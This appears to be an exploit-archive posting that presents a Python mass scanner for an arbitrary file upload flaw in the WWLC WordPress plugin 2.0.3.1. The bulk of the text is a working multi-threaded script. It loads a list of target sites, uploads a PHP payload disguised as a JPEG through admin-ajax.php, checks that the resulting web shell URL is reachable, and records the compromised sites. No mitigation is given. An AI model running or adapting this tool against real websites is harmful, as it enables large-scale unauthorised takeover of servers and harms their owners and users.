============================================================================================================================================= | # Title : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Mass Scanner Multi‑Threaded Python Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://woocommerce.com/ | ============================================================================================================================================= [+] Summary : This Python tool is a multi‑threaded scanner designed to detect an arbitrary file upload vulnerability in the WWLC WordPress plugin. The script loads a list of target websites from a file and attempts to upload a crafted PHP payload through the vulnerable admin-ajax.php endpoint using the wwlc_file_upload_handler action. After sending the upload request, the tool verifies whether the file was successfully stored in the WordPress uploads directory by requesting the generated file URL. The scanner supports retry logic, connection error handling, and concurrent scanning using multiple threads for faster large‑scale assessments. Successful uploads are recorded in output files for later review, while failed or unreachable targets are handled gracefully to maintain scan stability. [+] POC : #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import sys import json import time import threading import queue from urllib.parse import urlparse import requests from colorama import init, Fore, Style init(autoreset=True) THREADS = 40 TIMEOUT = 10 RETRIES = 6 SITES_FILE = "kll.txt" BPVULN_FILE = "exploited.txt" VULN_FILE = "vuln.txt" PAYLOAD_PATH = "/sdcard/1/404_protected.php" HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json, text/javascript, */*; q=0.01", } FILE_SETTINGS = { "allowed_file_types": ["php", "png", "jpg"], "max_allowed_file_size": 5000000 } file_lock = threading.Lock() requests.packages.urllib3.disable_warnings() def create_session(): session = requests.Session() session.headers.update(HEADERS) session.verify = False return session def normalize(site): site = site.strip() if not site.startswith("http://") and not site.startswith("https://"): site = "http://" + site return site.rstrip("/") def load_sites(): if not os.path.exists(SITES_FILE): print(Fore.RED + f"[-] {SITES_FILE} not found") sys.exit(1) with open(SITES_FILE, "r", encoding="utf-8") as f: sites = [normalize(line) for line in f if line.strip()] return sites def check_vulnerability(site, session): parsed = urlparse(site) base = f"{parsed.scheme}://{parsed.netloc}" ajax_url = base + "/wp-admin/admin-ajax.php" uploads_dir = base + "/wp-content/uploads" for attempt in range(RETRIES): try: with open(PAYLOAD_PATH, "rb") as f: file_data = f.read() except Exception as e: print(Fore.RED + f"[!] Payload error: {e}") return None files = { "action": (None, "wwlc_file_upload_handler"), "uploaded_file": ("404.php.jpg", file_data, "image/jpeg"), "file_settings": (None, json.dumps(FILE_SETTINGS), "application/json") } try: response = session.post(ajax_url, files=files, timeout=TIMEOUT) try: data = response.json() except Exception: data = None if isinstance(data, dict): if data.get("status") == "success" and "file_name" in data: filename = data["file_name"] shell_url = uploads_dir + "/" + filename try: verify = session.get(shell_url, timeout=TIMEOUT) if verify.status_code == 200: print(Fore.GREEN + f"[+] {site} -> {filename}") return ("success", filename, uploads_dir) except Exception: pass return ("fail", None, None) except (requests.exceptions.Timeout, requests.exceptions.ConnectionError): if attempt < RETRIES - 1: print(Fore.YELLOW + f"[~] {site} retry {attempt+1}/{RETRIES}") time.sleep(1) else: print(Fore.RED + f"[-] {site} failed after retries") return ("timeout", None, None) except Exception as e: print(Fore.RED + f"[!] {site} unexpected error: {e}") return ("error", None, None) return ("fail", None, None) def worker(q, session): while True: try: site = q.get(timeout=1) except queue.Empty: break result = check_vulnerability(site, session) if result and result[0] == "success": _, filename, uploads_dir = result with file_lock: with open(BPVULN_FILE, "a", encoding="utf-8") as f: f.write(f"{site} > {filename}\n") with open(VULN_FILE, "a", encoding="utf-8") as f: f.write(f"{uploads_dir}\n") q.task_done() session.close() def main(): print(Fore.CYAN + Style.BRIGHT + """ ╔════════════════════════════════════╗ ║ WWLC File Upload Mass Scanner ║ ║ Fixed by indoushka ║ ╚════════════════════════════════════╝ """) sites = load_sites() print(Fore.CYAN + f"[*] Loaded {len(sites)} sites") for f in [BPVULN_FILE, VULN_FILE]: if os.path.exists(f): os.remove(f) q = queue.Queue() for site in sites: q.put(site) threads = [] for _ in range(min(THREADS, len(sites))): session = create_session() t = threading.Thread(target=worker, args=(q, session)) t.daemon = True t.start() threads.append(t) q.join() for t in threads: t.join(timeout=1) print(Fore.CYAN + "[*] Scan completed") if __name__ == "__main__": main() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================